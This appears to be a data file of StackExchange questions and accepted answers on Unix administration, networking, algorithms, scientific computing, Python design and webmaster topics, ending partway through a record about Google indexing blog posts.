{  "id": "_unix.43288"  , "question": "I have a following setup:1 postfix server: a.example.com that needs to accept all emails for any subdomain on example.com (*@*.example.com) and delivers to mailman account and also send emails to any email account (gmail, yahoo, etc) including *@example.com. 1 hosted exchange: exch11.hosted.com for example.com emails (*@example.com).Everything works in this setup except sending emails from a.example.com to *@example.com (exch11.hosted.com). If I have example.com in mydomains.db file, then a.example.com does not send out *@example.com emails and delivers locally. if I change it to *.example.com then it sends *@example.com emails to exch11.hosted.com but now does not accept *@subdomain.example.com emails and shows an error that Relay is not allowed (it should not be relaying and delivering to local maildir account).Main requirement is to have a.example.com accept mail for any subdomain and deliver emails for main domain to exch11.hosted.com. Can anyone please help me or point me towards right direction?Any help is welcome. Thanks.main.cf:command_directory = /usr/sbindaemon_directory = /usr/libexec/postfixmydestination = hash:/etc/postfix/mydomainsunknown_local_recipient_reject_code = 550alias_maps = hash:/etc/aliaseshome_mailbox = Maildir/smtpd_banner = mail.example.comdebug_peer_level = 2debugger_command =     PATH=/bin:/usr/bin:/usr/local/bin:/usr/X11R6/bin     xxgdb $daemon_directory/$process_name $process_id & sleep 5sendmail_path = /usr/sbin/sendmail.postfixnewaliases_path = /usr/bin/newaliases.postfixmailq_path = /usr/bin/mailq.postfixsetgid_group = postdrophtml_directory = nomanpage_directory = /usr/share/mansample_directory = /usr/share/doc/postfix-2.3.3/samplesreadme_directory = /usr/share/doc/postfix-2.3.3/README_FILESvirtual_alias_maps = hash:/etc/postfix/virtual, pcre:/etc/postfix/virtual.pcresmtpd_sasl_auth_enable = yessmtpd_sasl_security_options = noanonymoussmtpd_sasl_local_domain = $myhostnamesmtp_sasl_security_options = noplaintext#smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/sender-accesssmtpd_recipient_restrictions = check_recipient_access hash:/etc/postfix/inbound-access,permit_sasl_authenticated, permit_mynetworks, reject_unauth_destinationmailbox_size_limit = 25600000transport_maps = hash:/etc/postfix/transportmessage_size_limit = 20240000virtual.pcre and virtual:/(.*)@[^.]*\\.example\\.com$/ mailmantransport:# demo.demo.example.com   smtp:192.168.100.161:25# demo maildemo.example.com    smtp:192.168.100.161# Demo2.demo2.example.com  smtp:192.168.100.221:25# demo2 domaindemo2.example.com   smtp:192.168.100.221mydomains:localhost       OKmail.local  OKexample.com     OK"  , "title": "Postfix Configuration - different servers for subdomains and domain"  , "tags": "centos;configuration;email;postfix"  , "accepted_answer": "First of all i am not sure if this will work but i hope it will help get you started:Remove example.com from mydomains as this postfix instance does not handle the mail for it directly.Add virtual_alias_domains = .example.com this should solve your subdomain issueAdd relay_domains = example.com and specify an explicit transport for example.com, e.g: example.com :[exch11.hosted.com]"  } 
{  "id": "_unix.88331"  , "question": "Is there any GUI / functionality test automation tools for testing QT3 based GUI applications? I went through LDTP, dogtail, Squish, and Sikuli but all dependent on specific QT versions. Also, Sikuli is not reliable.Any others?"  , "title": "Test automation tools for desktop application"  , "tags": "qt;testing"  } 
{  "id": "_unix.335293"  , "question": "I am stuck with this configuration here after commenting the DEFRROUTE line I get the ip r output like this. Does it really works with DEFRROUTE=no when uncommented.[root@vm1 ~]# ip rdefault via 192.168.5.1 dev eth0  proto static  metric 100default via 192.168.1.1 dev eth2  proto static  metric 101    169.24.0.0/17 dev eth1  proto kernel  scope link  src 169.24.0.5  metric 100192.168.1.0/24 dev eth2  proto kernel  scope link  src 192.168.1.3  metric 100192.168.5.0/28 dev eth0  proto kernel  scope link  src 192.168.5.10  metric 100[root@vm1 ~]# cat /etc/sysconfig/network-scripts/ifcfg-eth2DEVICE=eth2BOOTPROTO=staticONBOOT=yesUSERCTL=noTYPE=EthernetIPADDR=192.168.1.3NETMASK=255.255.255.0GATEWAY=192.168.1.1#DEFRROUTE=no[root@vm1 ~]# cat /etc/sysconfig/network-scripts/ifcfg-eth0DEVICE=eth0BOOTPROTO=staticONBOOT=yesUSERCTL=noTYPE=EthernetIPADDR=192.168.5.10NETMASK=255.255.255.240GATEWAY=192.168.5.1#DEFRROUTE=yes[root@vm1 ~]# cat /etc/sysconfig/network-scripts/ifcfg-eth1DEVICE=eth1BOOTPROTO=staticONBOOT=yesUSERCTL=noTYPE=EthernetIPADDR=169.24.0.5NETMASK=255.255.128.0#DEFRROUTE=noWhen I uncomment the DEFRROUTE I get this below output without route[root@vm1 ~]# ip r169.24.0.0/17 dev eth1  proto kernel  scope link  src 169.24.0.5  metric 100192.168.1.0/24 dev eth2  proto kernel  scope link  src 192.168.1.3  metric 100192.168.5.0/28 dev eth0  proto kernel  scope link  src 192.168.5.10  metric 100As @artem suggested via the link, below is the screenshot."  , "title": "DEFROUTE usage in RHEL 7"  , "tags": "linux;ifconfig"  } 
{  "id": "_webmaster.4711"  , "question": "Looking for online advertisers like google that let you place ads in feeds?"  , "title": "Where can I find online advertisers that let you place ads in rss feeds?"  , "tags": "advertising"  } 
{  "id": "_cstheory.9353"  , "question": "This one's hard, so all help really appreciated!I know it is NP-Complete and thus cannot be solved in polynomial time, but looking for help in analysis, i.e. what type of NP-Complete problem it reduces to, similar problems it reminds you of, etc.The story goes as follows. I own an ice cream truck business with n trucks. There are m stops where I make deliveries. Each location $m_i$ has $p_i$ people waiting for me. After buying their ice cream, everyone leaves (so $p_i$ reduce to zero). $p_i$ increases over time as more people line up to wait for the ice cream trucks. Also, all the truck drivers get commission, so they are competing against each other. All trucks have to be either at a location or moving to the next at any given time.How can I figure out where to send the trucks next in order to maximize my profit on any given day?Things to keep in mind:Two trucks that stop in the same spot at similar times will only getthe profit once, i.e. the people leave after one truck arrivesThe trucks take time to get from one location to another$p_i$ increases over time at each stop, but some stops increase fasterthan others, i.e. some locations are near malls (location, location,location)I've tried reducing this to a multi-machine scheduling problem, travelling sales person problem, ILP etc., but the main issue is that the $p_i$ at every location (i.e. the distance in the TSP or the job length in the scheduling problem) is constantly changing.Thanks in advance!"  , "title": "Algorithm to maximize profit: ways to solve/approach? (Advanced NP-Complete)"  , "tags": "np hardness;optimization;gt.game theory;tsp;scheduling"  } 
{  "id": "_cstheory.23767"  , "question": "Hub labeling (HL) computes superlabels using the vertices visited by the forward and reverse Contraction Hierarchies (CH) search. Those labels are then pruned (see HL, sec. 4.2) to generate strict labels.I don't understand how there can be labels that can be pruned. From my understanding the shortcuts added by CH should make sure that in both forward and reverse searches we will eitherreach a node via a shortest path ornot reach a node at all.How is it possible that we reach some nodes via a path that is longer than the shortest path? Could anyone provide a minimal example?"  , "title": "Why is label pruning possible with hub labeling?"  , "tags": "ds.algorithms;shortest path"  , "accepted_answer": "I have emailed the authors and they kindly supplied me with the following example:Let the nodes be contracted in alphabetical order then the red edge will be added during contraction.Now look at the upward search from A (i.e. we can only visit nodes that have been contracted later). A will settle B with distance 1 and D with distance 2. Since we are not allowed to visit C via D (as this is not upward) we must settle C via B with distance 6. However, as can clearly be seen from the non-contracted graph, the A-C distance is 5 (via D).This means that we now have an incorrect distance label for C at A."  } 
{  "id": "_unix.12195"  , "question": "I set up my ssh stuff with the help of this guide, and it used to work well (I could run hg push without being asked for a passphrase). What could have happened between then and now, considering that I'm still using the same home directory.$ cat .hg/hgrc [paths]default = ssh://hg@bitbucket.org/tshepang/bloog$ hg pushEnter passphrase for key '/home/wena/.ssh/id_rsa': pushing to ssh://hg@bitbucket.org/tshepang/bloogsearching for changes..."  , "title": "How to avoid being asked passphrase each time I push to Bitbucket"  , "tags": "ssh;key authentication"  , "accepted_answer": "You need to use an ssh agent.  Short answer: try $ ssh-addbefore pushing.  Supply your passphrase when asked.If you aren't already running an ssh agent you will get the following message:Could not open a connection to your authentication agent.In that situation, you can start one and set your environment up thuslyeval $(ssh-agent)Then repeat the ssh-add command.It's worth taking a look at the ssh agent manpage."  } 
{  "id": "_unix.154777"  , "question": "Some instances of bash change the command history when you re-use and edit a previous command, others apparently don't.  I've been searching and searching but can't find anything that says how to prevent commands in the history from being modified when they're reused and edited.There are questions like this one, but that seems to say how to cope with the history being edited.  I've only recently come across an instance of bash that does edit the history when you reuse a command - all previous bash shells I've used have (as far as I've noticed) been configured not to change the history when you reuse and edit a command.  (Perhaps I've just not been paying proper attention to my shell history for the past 15 years or so...)So that's probably the best question: CAN I tell bash NEVER to modify the history - and if so, how?"  , "title": "How to stop bash editing the history when I reuse and modify an entry?"  , "tags": "bash;command history;line editor"  , "accepted_answer": "Turns out revert-all-at-newline is the answer.  I needed to include set revert-all-at-newline on in my ~/.inputrc file, since using the set command at the bash prompt had no effect.  (Then, of course, I had to start a new shell.)Also, I found that ~/.inputrc is loaded instead of /etc/inputrc if present, which means that any defaults defined in the latter are no longer active when you create ~/.inputrc.  To fix this, start ~/.inputrc with $include /etc/inputrc.Thanks to @StphaneChazelas for pointing me in the right direction."  } 
{  "id": "_unix.166388"  , "question": "I have a Java application on a suseEnvironment which I start with a SH file. I use the command: startFile.sh &.If I logged in via putty, the application is still running after I've closed putty.If I'm logged in at suse directly (via UI) and I start the application, It will be terminated after I've logged out from SUSE.What is the difference?"  , "title": "Terminating Java Application"  , "tags": "java;suse"  } 
{  "id": "_scicomp.27545"  , "question": "I'm using LAPACK zgeev routine to get eigenvalues and eigenvectors of a symmetric matrix in C++. Problem is zgeev is being called in a loop but it sorts eigenvalues (and eigenvectors) differently sometimes. For example, this is the eigenvalues from the first round of loop:(-1.29007e-5 - 5.207e-6*i)(1.28782e-5 + 7.40505e-6*i)And this is it's result from the second time:(1.28782e-5 + 7.40505e-6*i)(-1.29007e-5 - 5.207e-6*i)I need to plot the evolution of these eigenvalues and vectors as a function of the loop's variable but they keep getting swapped each time and gives me a combination of the plots I need.How to fix this?"  , "title": "LAPACK sorting eigenvalues differently each time"  , "tags": "c++;eigenvalues;matrix;eigensystem;lapack"  , "accepted_answer": "You write, that you are computing the eigenvalues of a symmetric matrix. Does the matrix have real entries? In this case all eigenvalues are real, and you can use a symmetric eigenvalue solver, which returns only real entries. Hence, sorting them should not be a problem.When your matrix has complex entries, you have to track the eigenvalues. I am assuming that your matrices change only slightly from one iteration of your loop to the next, meaning that the eigenvalues also change only slightly. Hence, you can find the eigenvalue of the next iteration that corresponds to the eigenvalue of the current iteration, by looking for the eigenvalue of the next iteration that is closest to the eigenvalue of the current iteration.In general, sorting complex eigenvalues does not solve your problem. Consider the matrix\\begin{equation}A(t) =\\begin{bmatrix}e^{\\mathrm{i} t} & 0 \\\\0 & e^{\\mathrm{i} (t + \\pi)}\\end{bmatrix}\\end{equation}for $t = [0, 2\\pi)$. The matrix has two eigenvalues, both lie on the circle of radius one. The two eigenvalues lie on opposit sides of the circle and with increasing $t$ they rotate around zero. When $t$ is large enough the first eigenvalue reaches the point where the second eigenvalue has been, and vice versa. Hence, any sorting technique will (at latest) at that point, switch the roles of the two eigenvalues, even though the first eigenvalue moved slowly to the position of the second, meaning it has not changed its role.If your eigenvalues vary only a little, you might get away with sorting the eigenvalues first by real part and then by imaginary part or by their absolute value. In general, however, this does not work."  } 
{  "id": "_webapps.74960"  , "question": "Is it possible for Facebook user to restrict their photo from certain people to be seen? Even though they are not friend on Facebook. It was weird because these photos were public posted and everyone can see it. All these people are not on the friend list either. But only my account I couldn't see it.If that option is available. How can I do that?I thought we could only restricted the audience when they are on our friend list. "  , "title": "Facebook privacy setting"  , "tags": "facebook"  } 
{  "id": "_cs.75005"  , "question": "Is it possible directly to reduce clique to set cover?I know that there are some ways of direct reduction from Clique to Vertex Cover and from Vertex Cover to Set Cover, so I am very interested to know if the is a way to reduce clique to set cover directly without the use of the transitive rule."  , "title": "Reduce Clique to Set Cover"  , "tags": "set cover;clique"  } 
{  "id": "_unix.245779"  , "question": "I'm currently studying scripting and I need to create an script to back up the /user/home using .bz2 compression. My teacher wants the person running the script to select the user to backup and the method of compression. I've created a very simple script, but I would like to tune it up a bit.This is what I need:#/bin/bash#Choose user to backup#choose compression method.Final results of script:user_20151126.tar.bz2My script:#!/bin/bashecho -n Enter a User Name for the back:read UserNameecho -n Enter the compression method:read CompressionMethodtar -jcvf /var/tmp/$UserName_$(date +%Y%m%d).tar.$CompressionMethod /homechmod 777 /var/tmp/$UserName_$(date +%Y%m%d).tar.$CompressionMethodecho Nightly Backup Successful: $(date) >> /var/tmp_backup.logMy results:20151126.tar.bz2 "  , "title": "How to backup /user/home with some requirements?"  , "tags": "backup;read"  } 
{  "id": "_softwareengineering.291061"  , "question": "I'm working on a server implementation for a large game with many gametypes. There are several kinds of interactable entities: players, monsters, objects, vehicles.All entities share the same base class (which is Cython):cdef class Entity:    cdef public int id    cdef public double x,y,z,yaw,pitch,speed    def __init__(self, int id, double x, double y, double z, double yaw, double pitch):        self.id = id        self.x = x        self.y = y        self.z = z        self.yaw = yaw        self.pitch = pitch        self.speed = 0.1Then there's a subclass for each of the earlier mentioned entity types, these subclasses implement the different packets involved for each of those types.All entities support position and rotation, and all entities can in theory support different behaviors (and there can be quite a lot depending on the gametype) but often do not need them. There could be around ~90 different behaviors, so supporting all of that on the base MonsterEntity/whatever class doesn't make sense. A lot of those behaviors depend on stuff like health though, so if I don't implement that in a base class I'd have to implement it in a subclass.. but there are so many behaviors like that that are related I'd end up with either a lot of repeated code in different subclasses or thousands of usually unnecessary lines in a single big class.I decided some kind of composition would make a lot more sense here, so I've tried using multiple inheritance since Python handles it pretty well:class EntityHealth(object):    def __init__(self, maxhealth=20):        self.health = maxhealth        self.maxhealth = maxhealth    def damage(self, amount):        # damage the entity        pass    def setHealth(self, health):        # set the entity's health        passclass EntityInventory(object):    def __init__(self):        self.inventory = Inventory()    def dropAllItems(self):        # do stuff        passclass SlayableMonster(Monster, EntityHealth, EntityInventory):    def __init__(self, id, name, x, y, z, yaw, pitch):        Monster.__init__(self, id, name, x, y, z, yaw, pitch, meta, uuid, skinblob)        EntityHealth.__init__(self, 20)        EntityInventory.__init__(self)I've heard people argue multiple inheritance should never be used, but this seems like a very concise design.Some thoughts...All behavior classes would inherit from object or one behavior only for extending that behavior.The diamond problem shouldn't ever happen as a result because you would never have two classes that inherit from the same class up the tree both applied to the same entity.So MRO problems should be impossible because the design is simple, there is no complex inheritance hierarchy.Is this the best solution here, or is there something equally/more concise with the same advantages? I just want to isolate relevant code together while being able to pick which entities need that kind of behavior."  , "title": "Is there a better pattern than multiple inheritance here?"  , "tags": "python;game development"  , "accepted_answer": "Multiple inheritance is sometimes the right thing to do.You probably shouldn't inherit both from Car and OilRig, but inheriting from both Walker and Talker can make a lot of sense, particularly if using delegation would introduce a lot of trivial delegating methods that are a pain to maintain. It is particularly benign if it verges on emulating traits or implementing multiple interfaces with default implementations. It looks as if that is exactly what you are doing here. Certainly you don't have any of the issues (selection of indirectly inherited virtual methods in the diamond configuration, undefined internal layout of derived objects) that caused so many problems in C++ and influenced the conventional wisdom that you should never do it."  } 
{  "id": "_cs.60647"  , "question": "Given a DFA (D1) with P1 states, that accepts a language L1. Modify (D1) to create another DFA (D2), such that it will accept the language L2 that is defined as: All strings in L1 that are also a palindrome (of maximum length P1).How many states would the minimized D2 have (worst case)? And time complexity?Similarly, NFA (N1) with Q1 states that accepts a Language L3. How many states would minimized (N2) have (worst case)? Along with its time complexity?The generic Palindrome Language is non-Regular hence a DFA/NFA for it is impossible but I am unaware of the limited Palindrome case in DFA/NFA?"  , "title": "Modify DFA/NFA that accepts Language Subset with only Palindromes (with Size Limit)?"  , "tags": "regular languages;automata"  , "accepted_answer": "For DFAs, the size of $D_2$ is always at most $O(P_1|\\Sigma|^{P_1/2})$, and this bound is tight up to the $P_1$ factor. For the lower bound, take a DFA for $\\Sigma^*$ having $P_1$ states (you haven't specified that $D_1$ is minimal). The DFA $D_2$ accepts all palindromes of length $P_1$, and so Nerode's theorem shows that for even $P_1$, the optimal DFA $D_2$ contains $\\Theta(|\\Sigma|^{P_1/2})$ states. The upper bound now follows by using the product construction.The exact same reasoning works for NFAs as well, although you need to replace Nerode's theorem with a suitable exchange lemma in order to show that any NFA for the language of all palindromes of length $P_1$ requires $\\Omega(|\\Sigma|^{P_1/2})$ states (for even $P_1$).If you insist on $D_1$ being minimal as well, then instead of a DFA for $\\Sigma^*$ take a DFA for $(\\Sigma^{P_1})^*$, to get the exact same results. This construction works also for NFAs."  } 
{  "id": "_cstheory.37709"  , "question": "I have a question about whether there are faster algorithms for specific submodular minimization problems.In particular, I am trying to find a fast algorithm for minimizing the following set function$$f(S) = - [\\sum_{i \\in S} \\alpha_i \\log(\\alpha_i) + (1-\\sum_{i \\in S} \\alpha_i) \\log(1-\\sum_{i \\in S} \\alpha_i)] + \\sum_{i \\in S} w_i$$where $S \\subset \\{1,...,n\\}$, $\\{\\alpha_i\\}_{i=1}^N$ is a vector of positive numbers that add up to 1, and $w_i$ is a set of (possibly negative) weights. The first term in the function is a submodular function of $S$. The second term is a modular function of $S$. I know there exist algorithms (Fujishige-Wolfe) to minimize a general submodular function. Are there known algorithms to quickly minimize the sum of the entropy of a set and a modular function? "  , "title": "Minimizing entropy plus a modular function"  , "tags": "submodularity"  , "accepted_answer": "Unless I'm mistaken, you can solve your problem in $O(n\\log n)$ time using a greedy algorithm.Minimizing $f(S)$ is equivalent to maximizing$$\\textstyle g(S') = \\sum_{i \\in S'} b_i + \\big(\\sum_{i\\in S'} \\alpha_i\\big) \\log \\sum_{j \\in S'} \\alpha_j$$for $b_i=w_i + \\alpha_i\\log(\\alpha_i)$.  Here $S'$ is the complement of your $S$.Assume WLOG that $\\alpha_i>0$ (otherwise $i\\in S'$ iff $b_i>0$).Introduce indicator variable $x_i$ for the event that $i\\in S'$,then relax the problem by allowing $x_i\\in[0,1]$.  The relaxed problem is to choose $x\\in[0,1]^n$ maximizing$$\\textstyle G(x) = \\sum_{i} x_i b_i + \\big(\\sum_i x_i \\alpha_i\\big) \\log \\sum_{j} x_j \\alpha_j.$$The partial derivative of $G(x)$ with respect to $x_i$ is$$\\textstyle b_i + \\alpha_i\\, \\lambda(x),$$where $\\lambda(x) = 1 + \\log\\sum_j x_j \\alpha_j$.So at any optimal $x$, you have $$x_i = \\begin{cases}0 & \\text{if}~ b_i/\\alpha_i < -\\lambda(x) \\\\1 & \\text{if}~ b_i/\\alpha_i > -\\lambda(x) \\\\? & \\text{if}~ b_i/\\alpha_i = -\\lambda(x).\\end{cases}$$WLOG, the ratios $b_i/\\alpha_i$ are distinct for each $i$ (otherwise an insignificant perturbation of the $b_i$'s makes them so).  So only a single $x_i$ is undetermined by the above condition.  Since $G(x)$ is convex, one of the two neighboring solutions $x'$ (obtained by changing that $x_i$ to zero or one) has $G(x') \\ge G(x)$.Hence, defining $S_j = \\{i : b_i/\\alpha_i \\le b_j/\\alpha_j\\}$ and $S_0=\\emptyset$, the optimal set is $S_j$ for some $j\\in\\{0,\\ldots,n\\}$.So, here is the algorithm.  Assume that $\\alpha_i > 0$ for each $i$, and (by sorting first in $O(n\\log n)$ time), that$b_1/\\alpha_1 > b_2/\\alpha_2 > \\cdots > b_n/\\alpha_n$.Enumerate all sets $S_j$ (and compute $G(S_j)$ for each) in $O(n)$ time, then take the best."  } 
{  "id": "_unix.146067"  , "question": "I have mounted a volume from NAS storage to my Solaris 10 machine using NFS. I want to give read/write permission for a user to the directories and subdirectories and files. I have tried setfacl  -m user:biptip:rwx,mask:rwx NIADOCS/*setfacl -R -m d:u:biptip:rw,u:biptip:rwX NIADOCSbut I am not able give the permission."  , "title": "Give a user the permission to access files in a directory"  , "tags": "files;permissions;solaris;nfs;acl"  } 
{  "id": "_cs.24171"  , "question": "I am working on acyclic orientations of undirected graphs and have the following questions: Given connected undirected simple graph $G$, how to find all possible acyclic orientations of $G$ ? What is the number of acyclic orientations? It is known (from here) to be $(-1)^p\\ \\chi(G,-\\lambda)$ for a graph $G$ with $p$ vertices where $\\chi$ is the chromatic polynomial evaluated at $-\\lambda$; but I wasn't successful in understanding how to evaluate $\\chi$ at a negative value ($-\\lambda$).  "  , "title": "Algorithm to find all acyclic orientations of a graph"  , "tags": "algorithms;graph theory;counting"  } 
{  "id": "_computergraphics.225"  , "question": "There are a number of terms for rendering techniques based on the particle model of light: forward ray-tracing, reverse ray-tracing, ray-casting, ray-marching, and possibly others.  What's the difference between them?"  , "title": "Ray-based rendering terms"  , "tags": "raytracing;raymarching;terminology"  } 
{  "id": "_unix.337251"  , "question": "I have a directory called development and I want to set its permissions I guess, in a way that if someone where to run rm -rf development it would prompt for sudo access or just deny the command, implying sudo access required. How can this be done? Right now, the folders inside of this can be deleted safely, but not from the development folder itself. "  , "title": "mac terminal - how to make a directory require SUDO access to delete it?"  , "tags": "osx;sudo;rm"  , "accepted_answer": "If you want to require sudo use to delete it, you need to make the directory and perhaps all the files inside it be owned by root with chown:chown -R root developmentTo protect the directory alone, make a root-owned file inside it:sudo touch development/.no-deletesudo chown root developmentThat will prevent anybody deleting the directory without root access even if it's otherwise empty.Just changing permissions on the directory won't help, because deleting the directory depends on permissions of the parent directory. Changing permissions on the directory will affect deletion of its children, rather than itself. The non-root owner would also be able to change the permissions regardless."  } 
{  "id": "_cstheory.37845"  , "question": "Ezra and Sharir showed the $O(n^2\\log^2 n)$ linear decision tree complexity for $k$-SUM problem [1], which improves the $O(n^3\\log^3 n)$ complexity result of Cardinal et al [2].It is known that $k$-SUM and Table-$k$-SUM problems are related and can be reduced to each other in linear time[3] and both problems can be solved in polynomial time $O(m^k).$$\\textbf{$k$-SUM Conjecture}$ [4]:There does not exist a $k  2$, an $ > 0$, and a randomized algorithm that succeeds (with high probability) in solving $k$-SUM in time $O(n^{ \\left \\lceil{k/2}\\right \\rceil})$.What's the consequence of the above new decision tree complexity results? What can this lead to a new bound for the time complexity of $k$-SUM problem? [1] Ezra, Esther, and Micha Sharir. The Decision Tree Complexity for $ k $-SUM is at most Nearly Quadratic. arXiv preprint arXiv:1607.04336 (2016).[2] Cardinal, Jean, John Iacono, and Aurlien Ooms. Solving $ k $-SUM using few linear queries. arXiv preprint arXiv:1512.06678 (2015).[3] Woeginger, Gerhard J. Space and time complexity of exact algorithms: Some open problems. International Workshop on Parameterized and Exact Computation. Springer Berlin Heidelberg, 2004.[4] Abboud, Amir, and Kevin Lewi. Exact weight subgraphs and the k-sum conjecture. International Colloquium on Automata, Languages, and Programming. Springer Berlin Heidelberg, 2013."  , "title": "Consequence of Decision Tree Complexity of $k$-SUM Problem"  , "tags": "cc.complexity theory;ds.algorithms;k sum"  } 
{  "id": "_codereview.53876"  , "question": "I was cleaning up my code when I came across this situation :var a = ['one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine'];var count = 1;var html = '';for (var i = 0; i < a.length; i++) {    var rowStart = '<div class=row>';    var cell = '<div class=c>';    cell += '<div class=title>' + a[i] + '</div>';    cell += '</div>';    var rowEnd = '</div>';    if (count == 1) {        html += rowStart + cell;        count++;    } else if (count == 3) {        html += cell + rowEnd;        count = 1;    } else {        html += cell;        count++    }}$('#container').append(html);jsFiddleI retrieve data from a database which I want to display in a div structure as shown above. This code however looks ugly and I think it can be way shorter, I just don't know how.I was hoping someone could give me some advice/methods/anything on how to clean up this code."  , "title": "Cleanup code to add div structure to element"  , "tags": "javascript;jquery;html"  , "accepted_answer": "You should let CSS handle most of the job for you. ExampleJS:var a = ['one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine'];var count = 1;var html = '';for (var i = 0; i < a.length; i++) {    var div = $(<div> + a[i] + </div>);    $('#container').append(div);}CSS (where the magic is):#container div:nth-child(3n+1) { /* Every third! */    clear: both;}#container div {    float: left;    width: 100px;}"  } 
{  "id": "_computerscience.5192"  , "question": "You can have blue noise sampling like these poisson disc samples:And you can have a blue noise texture like this:I get that in the first image, there is one input (the index of the sample) and two outputs (the x,y coordinate of the point) and that the second image is basically the reverse where there are two inputs (the x,y coordinate of the sample) and one output (the value of the point).I'm curious though, how are these related?If you take the DFT of the second image, you can see that it has more high frequency components than low, but I'm not sure how you'd take the DFT of the first set of data points.I'm wondering if it's possible to take other low discrepancy sequences (say, halton, or jittered grid) and make a texture out of the idea, like the second image?"  , "title": "Link between blue noise sampling and blue noise textures?"  , "tags": "sampling"  } 
{  "id": "_webmaster.88903"  , "question": "I have a site in Hebrew #.co.il and I cnnsider changing it from a native-Hebrew site to a native-English one; That is, the direction will be LTR instead of RTL, and most of the content will be in English instead of Hebrew.Can it work if the site's domain will still be co.il?I ask only for direct experience with an identical or similar problem, or maybe a good statement from Google inc (that might be outdated). "  , "title": "co.il domain for sites that are not in Hebrew - Can work by means of SEO?"  , "tags": "domains"  , "accepted_answer": "Google will only ever rank .il domains well in Isreal.   Google assumes that all content on .il domains is not very relevant outside Isreal.Google maintains a list of top level domains that are geo-targetable.   There are a few country code TLDs on that list:.ad .as .bz .cc .cd .co .dj .fm .io .la .me .ms .nu .sc .sr .su .tv .tk .wsHowever, if your TLD isn't on that list, you are out of luck.  Google Webmaster Tools will not allow you to geo-target most country code domains to something other than their intended country.Matt Cutts has a video where he explains Google's reasoning for this:If you have a .jp domain and are trying to target Finland, you are really going against a lot of expectations and conventions that people have on the net.  So one thing to think about would be whether it would be possible to get a generic TLD and use that for other countries.For what it's worth, I also think that Google is being silly on this issue.  It limits the creative use of names. You can't use TLDs for language (.de sites don't rank well in Austria where they also speak German, or  .pt in Brazil)This has been Google's policy for years now though, and they haven't been willing to budge on it.   If you want your site to rank worldwide, you can't use most country code top level domains."  } 
{  "id": "_unix.340205"  , "question": "I tried both netctl and NetworkManager.Copied /etc/netctl/examples/mobile_ppp and added number and APN name as there's no pin/pass/username and set interface to /dev/ttyUSB0 (also tried the other ttyUSB1, and ttyUSB2 as well).My `/etc/netctl/mobile_ppp` file's contents are as follows:Description='Example PPP mobile connection'Interface='ttyUSB0'Connection='mobile_ppp'PhoneNumber='*99#'# Use default route provided by the peer (default: true)#DefaultRoute=true# Use DNS provided by the peer (default: true)#UsePeerDNS=true# The user and password are not always required#User='example@yourprovider.com'#Password='very secret'# The access point name you are connecting toAccessPointName='internet'# If your device has a PIN code, set it here. Defaults to 'None'#Pin=None# Mode can be one of 3Gpref, 3Gonly, GPRSpref, GPRSonly, None# These only work for Huawei USB modems; all other devices should use NoneMode=3Gonly# ^ tried all other options toonetctl start mobile_ppp connects silently with no errors on output and shown on journalctl -xe, but there's no actual connection.And it also shows * sign prepended on its name when issuing netctl list (as if really connected/operating).Currently I am connected with netctl but with wls1 (Wi-Fi profile set up with wifi-menu).Moreover the USB modem is not shown in the nm-applet of NetworkManager, what I installed separately.Also, the modem's LED turns blue as if connected or operating, but with no results.I did a lot of research on the web, came across and read wikis and other users asking about similar issues, and tried the solutions, installed many many packages in Arch Linux, but unfortunately nothing worked for me to simply connect with the modem which used to automatically connect on Fedora 25 (without GNOME even)."  , "title": "Cannot connect with Huawei E3131 3GMax USB Modem"  , "tags": "arch linux;networkmanager;modem;ppp;netctl"  , "accepted_answer": "I could finally solve it (I'm posting it using the USB connection :P).Some points to note:wvdial (as configured in /etc/wvdial.conf) could not connect anyhow (couldn't dial with ATDT and ATD commands).netctl created profile, 'connected' (netctl start) without (outputting) errors but there were no real connection.So, I installed NetworkManager, started and enabled it as service alongisde ModemManager (with systemctl start).I installed tint2 (as there's no panel (system tray) in my system) specifically to run GNOME's nm-applet on it, and configured the broadband network, and Network Manager showed it as an enabled device and I could connect through the profile I created on nm-applet (GUI, again).That's it. Thanks, gnome for nm-applet :)NetworkManager won't (probably) connect without ModemManager service.No matter how hard I'll try I couldn't connect through the default, native netctl that comes with arch-linux.I still would like to connect with the native application, if anyone knows how, or can help with it (reading my previous post, or by providing a 'better' profile file for the USB modem (model) noted above), I'd really appreciate that, and switch back to netctl.But now that the native netctl couldn't/doesn't do the job, I'll have them both installed (what I don't actually like doing for minimalism) as network managers until I could connect properly through the former one."  } 
{  "id": "_softwareengineering.254576"  , "question": "Consider the following class:class Person:    def __init__(self, name, age):        self.name = name        self.age = ageMy coworkers tend to define it like this:class Person:    name = None    age = None    def __init__(self, name, age):        self.name = name        self.age = ageThe main reason for this is that their editor of choice shows the properties for autocompletion.Personally, I dislike the latter one, because it makes no sense that a class has those properties set to None.Which one would be better practice and for what reasons?"  , "title": "Is it a good practice to declare instance variables as None in a class in Python?"  , "tags": "python"  , "accepted_answer": "I call the latter bad practice under the this dosen't do what you think it does rule.Your coworker's position can be rewritten as I am going to create a bunch of class-static quasi-global variables which are never accessed, but which do take up space in the various class's namespace tables (__dict__), just to make my IDE do something."  } 
{  "id": "_unix.240000"  , "question": "I want to make scripts that shows Western Zodiac which accepts as input a person's birthday on the command line and prints out the following:The day of the week on which the person was bornTheir Western zodiac sign (cancer, leo, libra, etc.)Their Chinese zodiac sign (wood rabbit, metal snake, fire pig, etc.)Their horoscope (use the Linux fortune cookie program for this)anyone ever made this ?"  , "title": "how to make scripts that shows Western Zodiac?"  , "tags": "scripting"  } 
{  "id": "_webmaster.37873"  , "question": "I have a blog which has been active for 3 years. Recently I posted an article and it immediately appeared in google search. Maybe 5 to 10 minutes.A point to note is I was logged into my google account. Maybe google checked my post's when I searched since I am logged in?Yet I logged out and used another browser and searched again with that specific text and it appeared in google search result.How did this happen?However, if I make an article in static HTML and publish, it takes time. (I assume this is the case but I haven't tested much). Yet tested a few cases after updating it in my sitemap xml.How does google search work for a blog and other content?"  , "title": "New blog post shows immediately in google search results where as other HTML content takes time, why?"  , "tags": "google search;google ranking"  , "accepted_answer": "Were your personal search results turned off? When was the page cached? It's likely your blog pinged Google along with other search engines once you published the post. Well Google blog search at least which is different than Google Bot.Search results work just the same for a blog post page compared to any other content page. Google has been crawling, indexing, and caching pages much quicker than in the last few years. Where in the past they would push updates to their data centers lets say once per week now it's probably a few times a day if not instantaneous.The blog post when generated may have gotten naturally more internal links than some of your other pages. It's content is certainly fresher than other pages on your site most likely and the HTTP response from that page told Google the content was very recently updated.All in all what you're asking is How does Google work and there's 